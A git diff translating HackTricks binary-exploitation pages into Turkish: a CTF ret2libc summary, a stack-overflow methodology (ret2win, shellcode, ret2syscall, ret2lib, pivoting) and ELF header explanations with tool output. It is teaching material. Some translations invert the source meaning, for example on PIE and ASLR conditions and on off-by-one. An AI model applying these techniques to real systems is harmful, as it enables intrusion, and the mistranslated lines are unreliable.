[https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). +- 32 bit, relro yok, canary yok, nx, pie yok. Yığın üzerindeki libc ve heap adreslerini sızdırmak için kötü bir indekslemeyi kötüye kullanın. `system('/bin/sh')` çağırarak bir ret2lib yapmak için tampon taşmasını kötüye kullanın (bir kontrolü aşmak için heap adresine ihtiyaç vardır). diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index a5e59ae40..74b5ad214 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -1,111 +1,108 @@ -# Basic Binary Exploitation Methodology +# Temel İkili İstismar Metodolojisi {{#include ../../banners/hacktricks-training.md}} -## ELF Basic Info +## ELF Temel Bilgiler -Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**: +Herhangi bir şeyi istismar etmeye başlamadan önce, bir **ELF ikilisi** yapısının bir kısmını anlamak ilginçtir: {{#ref}} elf-tricks.md {{#endref}} -## Exploiting Tools +## İstismar Araçları {{#ref}} tools/ {{#endref}} -## Stack Overflow Methodology +## Yığın Taşması Metodolojisi -With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology. +Bu kadar çok teknikle, her tekniğin ne zaman faydalı olacağına dair bir şemaya sahip olmak iyidir. Aynı korumaların farklı teknikleri etkileyeceğini unutmayın. Her koruma bölümünde korumaları aşmanın yollarını bulabilirsiniz, ancak bu metodolojide değil. -## Controlling the Flow +## Akışı Kontrol Etme -There are different was you could end controlling the flow of a program: +Bir programın akışını kontrol etmenin farklı yolları vardır: -- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow -- Or via **Arbitrary Writes + Write What Where to Execution** - - [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses. - - [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow - - **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW. +- [**Yığın Taşmaları**](../stack-overflow/) yığından dönüş işaretçisini veya EBP -> ESP -> EIP'yi yazma. +- Taşmayı tetiklemek için bir [**Tam Sayı Taşması**](../integer-overflow.md) istismar etmeniz gerekebilir. +- Ya da **Rastgele Yazmalar + Yaz Ne Nerede ile İcra** yoluyla. +- [**Format dizeleri**](../format-strings/)**:** `printf`'i kullanarak rastgele içeriği rastgele adreslere yazma. +- [**Dizi İndeksleme**](../array-indexing.md): Bazı dizileri kontrol edebilmek ve rastgele yazma elde edebilmek için kötü tasarlanmış bir indekslemeyi istismar etme. +- Taşmayı tetiklemek için bir [**Tam Sayı Taşması**](../integer-overflow.md) istismar etmeniz gerekebilir. +- **bof'dan WWW'ye ROP ile**: Bir tampon taşmasını istismar ederek bir ROP oluşturma ve WWW'yi elde etme. -You can find the **Write What Where to Execution** techniques in: +**Yaz Ne Nerede ile İcra** tekniklerini şurada bulabilirsiniz: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -## Eternal Loops +## Sonsuz Döngüler -Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary: +Dikkate alınması gereken bir şey, genellikle **bir zafiyetin yalnızca bir kez istismar edilmesinin yeterli olmayabileceğidir**; özellikle bazı korumaların aşılması gerekir. Bu nedenle, bir **tek zafiyeti aynı ikilinin yürütülmesi sırasında birkaç kez istismar edilebilir hale getirmek** için bazı seçenekleri tartışmak ilginçtir: -- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring. - - Controlling a proper ROP chain you might be able to perform all the actions in that chain -- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability** -- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`. +- **`main` fonksiyonunun** adresini veya **zafiyetin** meydana geldiği adresi bir **ROP** zincirine yazma. +- Uygun bir ROP zincirini kontrol ederek, o zincirdeki tüm eylemleri gerçekleştirebilirsiniz. +- **`exit` adresini GOT'ta** (veya ikili tarafından bitirilmeden önce kullanılan herhangi bir fonksiyonda) **zafiyete geri dönmek için** adres yazma. +- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**'de açıklandığı gibi**, burada zafiyeti tekrar çağıracak bir fonksiyon ve **`__libc_csu_fini`**'yi çağıracak bir fonksiyon saklayın; bu da `.fini_array`'dan fonksiyonu tekrar çağıracaktır. -## Exploitation Goals +## İstismar Hedefleri -### Goal: Call an Existing function +### Hedef: Mevcut bir fonksiyonu çağırmak -- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag. - - In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack. - - In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it - - In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it - - If you need to set several parameter to correctly call the **ret2win** function you can use: - - A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params - - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers - - Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function. -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know. +- [**ret2win**](./#ret2win): Bayrağı almak için çağırmanız gereken (belki bazı özel parametrelerle) kodda bir fonksiyon var. +- [**PIE**](../common-binary-protections-and-bypasses/pie/) **ve** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) olmayan bir **normal bof'da**, yığında saklanan dönüş adresine adresi yazmanız yeterlidir. +- [**PIE**](../common-binary-protections-and-bypasses/pie/) olan bir bof'da, bunu aşmanız gerekecek. +- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) olan bir bof'da, bunu aşmanız gerekecek. +- **ret2win** fonksiyonunu doğru bir şekilde çağırmak için birkaç parametre ayarlamanız gerekiyorsa: +- Tüm parametreleri hazırlamak için yeterli gadget varsa bir [**ROP**](./#rop-and-ret2...-techniques) **zinciri** kullanabilirsiniz. +- Birçok kaydı kontrol etmek için [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (bu syscall'ı çağırabiliyorsanız). +- Birçok kaydı kontrol etmek için [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) gadget'ları. +- [**Yaz Ne Nerede**](../arbitrary-write-2-exec/) aracılığıyla, **`win`** fonksiyonunu çağırmak için diğer zafiyetleri (bof olmayan) istismar edebilirsiniz. +- [**Göstergeleri Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığın, çağrılacak bir fonksiyona veya ilginç bir fonksiyon (system veya printf) tarafından kullanılacak bir dizeye işaret eden göstergeler içeriyorsa, o adresi yazmak mümkündür. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) adresleri etkileyebilir. +- [**Başlatılmamış değişkenler**](../stack-overflow/uninitialized-variables.md): Asla bilemezsiniz. -### Goal: RCE +### Hedef: RCE -#### Via shellcode, if nx disabled or mixing shellcode with ROP: +#### Shellcode aracılığıyla, eğer nx devre dışıysa veya shellcode ile ROP'u karıştırarak: -- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it: - - **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it - - **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there. - - This will mix shellcode with a ROP chain. +- [**(Yığın) Shellcode**](./#stack-shellcode): Bu, dönüş işaretçisini yazdıktan önce veya sonra yığında bir shellcode saklamak ve ardından **ona atlamak** için yararlıdır: +- Her durumda, eğer bir [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) varsa, normal bir bof'da bunu aşmanız gerekecek (sızdırma). +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) olmadan, yığın adresine atlamak mümkündür çünkü asla değişmeyecektir. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ile, ona atlamak için [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) gibi tekniklere ihtiyacınız olacak. +- [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) ile, bazı [**ROP**](../rop-return-oriented-programing/) kullanarak `memprotect`'i çağırmanız ve bazı sayfaları `rwx` yapmanız gerekecek; böylece shellcode'u oraya saklayabilir (örneğin, read çağırarak) ve ardından oraya atlayabilirsiniz. +- Bu, shellcode ile bir ROP zincirini karıştıracaktır. -#### Via syscalls +#### Syscall'lar aracılığıyla -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**. - - If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries. - - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve** - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Rastgele komutları çalıştırmak için `execve`'yi çağırmak için yararlıdır. **Belirli syscall'ı parametrelerle çağırmak için gadget'leri bulabilmeniz gerekir.** +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) etkinse, ikili veya kütüphanelerden ROP gadget'lerini kullanabilmek için bunları aşmanız gerekecek. +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) **ret2execve**'yi hazırlamak için yararlı olabilir. +- Birçok kaydı kontrol etmek için [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) gadget'ları. -#### Via libc +#### libc aracılığıyla -- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually). - - If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out). - - With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** : - - Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it - - **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory. - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to: - - Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/) - - Find the **`libc` version** used (leak a couple of function addresses) - - Check the **previous scenarios with ASLR** to continue. +- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Genellikle **`libc`**'den bir fonksiyonu (örneğin, **`system`**) bazı hazırlanmış argümanlarla (örneğin, `'/bin/sh'`) çağırmak için yararlıdır. İstediğiniz fonksiyonu çağırmak için ikilinin **kütüphaneyi yüklemesi** gerekir (genellikle libc). +- **Statik derlenmiş ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) yoksa, `system` ve `/bin/sh`'nin **adresleri** değişmeyecek, bu nedenle bunları statik olarak kullanmak mümkündür. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve yüklü libc sürümünü bilmeden**, `system` ve `/bin/sh`'nin **adresleri** değişmeyecek, bu nedenle bunları statik olarak kullanmak mümkündür. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ama** [**PIE**](../common-binary-protections-and-bypasses/pie/) yoksa, libc'yi bilerek ve ikili `system`** fonksiyonunu kullanıyorsa, **GOT'taki system adresine `ret` yaparak** `'/bin/sh'` adresini parametre olarak verebilirsiniz (bunu çözmeniz gerekecek). +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ama [**PIE**](../common-binary-protections-and-bypasses/pie/) yoksa, libc'yi bilerek ve **ikili `system`** kullanmıyorsanız: +- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) kullanarak `system`'in adresini çözümleyin ve çağırın. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) aşın ve `system` ile `'/bin/sh'`'nin adresini bellek içinde hesaplayın. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) ile ve libc'yi bilmeden: Şunları yapmanız gerekir: +- [**PIE**](../common-binary-protections-and-bypasses/pie/) aşın. +- Kullanılan **`libc` sürümünü** bulun (birkaç fonksiyon adresini sızdırın). +- Devam etmek için **ASLR ile önceki senaryoları** kontrol edin. -#### Via EBP/RBP +#### EBP/RBP aracılığıyla -- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack. - - Useful for **off-by-one** stack overflows - - Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP +- [**Yığın Pivotlama / EBP2Ret / EBP Zincirleme**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Yığındaki saklanan EBP aracılığıyla RET'i kontrol etmek için ESP'yi kontrol edin. +- **Birden fazla** yığın taşmaları için yararlıdır. +- Yüklemenin bellek içinde payload'u oluştururken EIP'i istismar ederek EIP'i kontrol etmenin alternatif bir yolu olarak yararlıdır ve ardından EBP aracılığıyla ona atlayabilirsiniz. -#### Misc +#### Çeşitli -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know - -{{#include ../../banners/hacktricks-training.md}} +- [**Göstergeleri Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığın, çağrılacak bir fonksiyona veya ilginç bir fonksiyon (system veya printf) tarafından kullanılacak bir dizeye işaret eden göstergeler içeriyorsa, o adresi yazmak mümkündür. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md index f5886ddcc..745106504 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md @@ -1,11 +1,10 @@ -# ELF Basic Information +# ELF Temel Bilgiler {{#include ../../banners/hacktricks-training.md}} -## Program Headers - -The describe to the loader how to load the **ELF** into memory: +## Program Başlıkları +Yükleyiciye **ELF**'yi belleğe nasıl yükleyeceğini tarif eder: ```bash readelf -lW lnstat @@ -14,80 +13,78 @@ Entry point 0x1c00 There are 9 program headers, starting at offset 64 Program Headers: - Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align - PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 - INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 - [Requesting program interpreter: /lib/ld-linux-aarch64.so.1] - LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 - LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 - DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 - NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 - GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 - GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 - GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 +Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align +PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 +INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 +[Requesting program interpreter: /lib/ld-linux-aarch64.so.1] +LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 +LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 +DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 +NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 +GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 +GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 +GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 - Section to Segment mapping: - Segment Sections... - 00 - 01 .interp - 02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame - 03 .init_array .fini_array .dynamic .got .data .bss - 04 .dynamic - 05 .note.gnu.build-id .note.ABI-tag .note.package - 06 .eh_frame_hdr - 07 - 08 .init_array .fini_array .dynamic .got +Section to Segment mapping: +Segment Sections... +00 +01 .interp +02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame +03 .init_array .fini_array .dynamic .got .data .bss +04 .dynamic +05 .note.gnu.build-id .note.ABI-tag .note.package +06 .eh_frame_hdr +07 +08 .init_array .fini_array .dynamic .got ``` - -The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**. +Önceki programda **9 program başlığı** bulunmaktadır, ardından **segment haritalaması** her bölümün hangi program başlığında (00'dan 08'e) **bulunduğunu** gösterir. ### PHDR - Program HeaDeR -Contains the program header tables and metadata itself. +Program başlığı tablolarını ve meta verileri içerir. ### INTERP -Indicates the path of the loader to use to load the binary into memory. +İkili dosyayı belleğe yüklemek için kullanılacak yükleyicinin yolunu gösterir. ### LOAD -These headers are used to indicate **how to load a binary into memory.**\ -Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**. +Bu başlıklar, **bir ikili dosyayı belleğe nasıl yükleyeceğinizi** belirtmek için kullanılır.\ +Her **LOAD** başlığı, **bellek** bölgesini (boyut, izinler ve hizalama) belirtir ve ELF **ikilisinden oraya kopyalanacak baytları** gösterir. -For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`. +Örneğin, ikincisi 0x1190 boyutundadır, 0x1fc48'de bulunmalı, okuma ve yazma izinlerine sahip olmalı ve 0xfc48'den 0x528 ile doldurulacaktır (tüm ayrılan alanı doldurmaz). Bu bellek, `.init_array .fini_array .dynamic .got .data .bss` bölümlerini içerecektir. ### DYNAMIC -This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section. +Bu başlık, programları kütüphane bağımlılıklarına bağlamaya ve yeniden konumlandırmaları uygulamaya yardımcı olur. **`.dynamic`** bölümüne bakın. ### NOTE -This stores vendor metadata information about the binary. +Bu, ikili dosya hakkında satıcı meta veri bilgilerini saklar. ### GNU_EH_FRAME -Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions. +Yığın geri sarma tablolarının konumunu tanımlar, bu tablolar hata ayıklayıcılar ve C++ istisna işleme çalışma zamanı işlevleri tarafından kullanılır. ### GNU_STACK -Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack. +Yığın yürütme önleme savunmasının yapılandırmasını içerir. Etkinleştirilirse, ikili dosya yığın üzerinden kod çalıştıramaz. ### GNU_RELRO -Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running. +İkili dosyanın RELRO (Yeniden Konumlandırma Salt Okunur) yapılandırmasını gösterir. Bu koruma, program yüklendikten sonra ve çalışmaya başlamadan önce belleğin belirli bölümlerini (örneğin `GOT` veya `init` ve `fini` tabloları) salt okunur olarak işaretler. -In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`. +Önceki örnekte, 0x3b8 baytını 0x1fc48'e salt okunur olarak kopyalıyor ve `.init_array .fini_array .dynamic .got .data .bss` bölümlerini etkiliyor. -Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched. +RELRO'nun kısmi veya tam olabileceğini unutmayın, kısmi versiyon **`.plt.got`** bölümünü korumaz, bu bölüm **tembel bağlama** için kullanılır ve kütüphanelerin adresinin ilk kez arandığında yazma izinlerine sahip bu bellek alanına ihtiyaç duyar. ### TLS -Defines a table of TLS entries, which stores info about thread-local variables. +İş parçacığına özgü değişkenler hakkında bilgi saklayan bir TLS girişleri tablosunu tanımlar. -## Section Headers - -Section headers gives a more detailed view of the ELF binary +## Bölüm Başlıkları +Bölüm başlıkları, ELF ikilisinin daha ayrıntılı bir görünümünü sunar. ``` objdump lnstat -h @@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64 Sections: Idx Name Size VMA LMA File off Algn - 0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 - CONTENTS, ALLOC, LOAD, DATA - 19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 - CONTENTS, ALLOC, LOAD, DATA - 20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 - CONTENTS, ALLOC, LOAD, DATA - 23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 - ALLOC - 24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 - CONTENTS, READONLY - 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 - CONTENTS, READONLY +0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 +CONTENTS, ALLOC, LOAD, READONLY, DATA +8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 +CONTENTS, ALLOC, LOAD, READONLY, CODE +13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 +CONTENTS, ALLOC, 